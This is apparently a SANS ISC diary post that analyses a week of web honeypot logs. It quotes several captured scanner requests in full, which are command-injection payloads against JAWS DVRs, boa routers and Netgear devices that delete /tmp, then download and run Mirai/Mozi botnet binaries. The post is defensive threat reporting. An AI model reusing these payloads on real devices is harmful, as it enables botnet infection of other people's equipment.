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Honeypot - Scanning and Targeting Devices & Services

I was curious this week to see if my honeypot traffic would increase since a large portion of the world is working from home. Reviewing my honeypot logs, I decided to check what type of filename was mostly targeted (GET/POST/HEAD) by scanners  this past week on any web supported ports (i.e. 80, 81, 8000, etc). This first graph shows overall activity for the past 7 days.

The following graph shows 86 different files picked picked up in the past week. Obviously some are familiar and non malicious (i.e. robot.txt, favicon.ico, etc) but a lot of the others are suspicious (i.e. various nmap nse scripts).

I included a few interesting GET/POST that got captured over this past week but infortunatly, the files listed in here are no longer available for analysis:

This random hostname ( is no longer active. I was able to find information about it on URLhaus [1] matching the same URL.

  • 20200216-112558: data 'GET /shell?cd /tmp;rm -rf *;wget;sh /tmp/jaws HTTP/1.1\r\nUser-Agent: Hello, world\r\nHost:\r\nAccept: text/html,application/xhtml xml,application/xml;q=0.9,image/webp,*/*;q=0.8\r\nConnection: keep-alive\r\n\r\n'

The file (Mozi) is an ELF (Linux) file use by the Mirai botnet [2].

  • 20200319-222704: data 'GET /shell?cd+/tmp;rm+-rf+*;wget+;chmod+777+Mozi.a;/tmp/Mozi.a+jaws HTTP/1.1\r\nUser-Agent: Hello, world\r\nHost:\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\r\nConnection: keep-alive\r\n\r\n'

This IP has been identified as an open proxy used by hackers [3]

  • 20200321-033332: data 'GET HTTP/1.1\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36\r\nAccept: */*\r\nAccept-Encoding: gzip, deflate\r\nPragma: no-cache\r\nCache-control: no-cache\r\nCookie: cookie=ok\r\nReferer:\r\nHost:\r\nConnection: close\r\nContent-Length: 0\r\n\r\n'

I was able to find information about it on URLhaus [4] matching the same URL and is no longer active.

  • 20200321-070843: data 'POST /boaform/admin/formPing HTTP/1.1\r\nUser-Agent: polaris botnet\r\nAccept: */*\r\nAccept-Encoding: gzip, deflate\r\nContent-Type: application/x-www-form-urlencoded\r\n\r\ntarget_addr=;cd /tmp; rm -rf *; wget; chmod 777 n; sh n; rm -rf * /&waninf=1_INTERNET_R_VID_154\r\n\r\n'

If you have a Netgear router, make sure it is patched.

  • 20200321-125520: data 'GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0\r\n\r\n'


Guy Bruneau IPSS Inc.
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gbruneau at isc dot sans dot edu


511 Posts
ISC Handler
Mar 21st 2020

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